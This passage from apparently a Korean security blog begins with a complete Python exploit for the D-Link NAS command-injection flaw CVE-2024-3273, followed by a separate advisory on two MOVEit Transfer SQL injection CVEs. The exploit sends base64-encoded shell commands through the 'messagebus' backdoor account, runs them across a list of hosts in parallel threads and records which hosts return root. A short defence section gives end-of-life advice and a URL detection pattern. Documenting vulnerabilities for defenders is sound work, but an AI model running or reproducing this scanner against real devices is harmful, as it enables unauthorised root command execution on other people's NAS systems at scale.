    return base64.b64encode(command.encode()).decode()

# Watermark banner
print("""
┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗┛┗━ ╹┗┛
""")

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36",
    "Accept-Encoding": "identity"
}

# Use a session for requests
session = requests.Session()

# Lock for file writing
file_write_lock = threading.Lock()

def execute_command(host, command=None, print_response=True):
    if command is None:
        command = 'id'
    encoded_command = encode_base64(command)
    url = f"http://{host}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={encoded_command}"
    
    try:
        response = session.get(url, headers=headers, timeout=10)
        if 'root' in response.text:
            with file_write_lock:
                with open('vulnerables.txt', 'a') as f:
                    f.write(host + '\n')
            print(f"Host {host} is vulnerable.")
        elif print_response:
            print(f"Response from {host}:")
            print(response.text)
    except requests.Timeout:
        print(f"Request timed out for host {host}.")
    except requests.ConnectionError as e:
        print(f"Connection error for host {host}.")
    except Exception as e:
        print(f"An error occurred for host {host}.")

def execute_command_multiple(file_path, export):
    with open(file_path, 'r') as file:
        threads = []
        for line in file:
            host = line.strip().replace("\ufeff", "")
            thread = threading.Thread(target=execute_command, args=(host, None, False))
            thread.start()
            threads.append(thread)

        # Wait for all threads to complete
        for thread in threads:
            thread.join()

def main():
    option = input("Choose an option (1: Single Host, 2: Multiple Hosts): ")
    
    if option == '1':
        host = input("Enter the host: ")
        command = input("Enter the command to run: ")
        execute_command(host, command)
    elif option == '2':
        file_path = input("Enter the file path containing hosts: ")
        export = input("Export vulnerable host to vulnerables.txt? (y/n): ").lower()
        execute_command_multiple(file_path, export)
    else:
        print("Invalid option.")

if __name__ == "__main__":
    main()

 

4. 대응방안

- 해당 NAS 제품은 EOL(End Of Life, 지원 종료)에 도달해 더 이상 지원되지 않는 장비

> 벤더사는 관련 제품을 폐기하고 펌웨어 업데이트를 지원하는 제품으로 교체할 것을 권장 [4]

 

- 보안 장비 탐지 정책 적용

> cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd

 

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273
[2] https://github.com/netsecfish/dlink?tab=readme-ov-file
[3] https://github.com/adhikara13/CVE-2024-3273
[4] https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
[5] https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/
[6] https://www.boannews.com/media/view.asp?idx=128614&page=4&kind=1

1. 개요

- CVE-2023-34362 이후 새로운 제로데이 취약점이 발견되는 중

 

2. 취약점

2.1 CVE-2023-35036

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036 [1]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능

영향받는 저번
- MOVEit Transfer 2023.0.x (15.0.x)
- MOVEit Transfer 2022.1.x (14.1.x)
- MOVEit Transfer 2022.0.x (14.0.x)
- MOVEit Transfer 2021.1.x (13.1.x)
- MOVEit Transfer 2021.0.x (13.0.x)
- MOVEit Transfer 2020.1.x (12.1)
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud

 

- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]

> 관련 내용 Github 업로드 예정

[사진 2] CVE-2023-35036 PoC 화면

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [3]

> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud  14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

2.2 CVE-2023-35708

[사진 3] https://nvd.nist.gov/vuln/detail/CVE-2023-35708 [6]

- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점

- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐

- 구체적인 PoC는 확인되지 않음

영향받는 버전
- MOVEit Transfer 2023.0.x (15.0.x)  
- MOVEit Transfer 2022.1.x (14.1.x)  
- MOVEit Transfer 2022.0.x (14.0.x)  
- MOVEit Transfer 2021.1.x (13.1.x)  
- MOVEit Transfer 2021.0.x (13.0.x)  
- MOVEit Transfer 2020.1.x (12.1)  
- MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전
- MOVEit Cloud  

 

- 현재 벤더사 홈페이를 통해 업데이트가 제공됨 [7]

취약한 버전 패치 버전
MOVEit Transfer 2023.0.x (15.0.x) MOVEit Transfer 2023.03 (15.0.3)
MOVEit Transfer 2022.1.x (14.1.x) MOVEit Transfer 2022.1.7 (14.1.7)
MOVEit Transfer 2022.0.x (14.0.x) MOVEit Transfer 2022.0.6 (14.0.6)
MOVEit Transfer 2021.1.x (13.1.x) MOVEit Transfer 2021.1.6 (13.1.6)
MOVEit Transfer 2021.0.x (13.0.x) MOVEit Transfer 2021.0.8 (13.0.8)
MOVEit Transfer 2020.1.x (12.1) Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전 가능한 상위 버전 [5]
MOVEit Cloud 14.1.6.97 또는 14.0.5.45
테스트버전: 15.0.2.39

 

- 업데이트 적용 불가 시 벤더사 권장 사항

> MOVEit Transfer의 HTTP 및 HTTPS 트래픽 비활성화

> 사용자의 경우 SFTP 및 FTP/s 프로토콜을 이용해 파일 전송 가능
> 관리자의 경우 원격 접속을 통해 서버에 접근한 후 hxxps://localhost/에 엑세스

 

3. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-35036
[2] https://twitter.com/MCKSysAr/status/1669175203690160128?ref_src=twsrc%5Etfw
[3] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-CVE-2023-35036-June-9-2023
[4] https://community.progress.com/s/article/Vulnerability-May-2023-Fix-for-MOVEit-Transfer-2020-1-12-1
[5] https://community.progress.com/s/article/Upgrade-and-or-Migration-Guide-for-MOVEit-Automation-and-MOVEit-Transfer
[6] https://nvd.nist.gov/vuln/detail/CVE-2023-35708
[7] https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-15June2023

+ Recent posts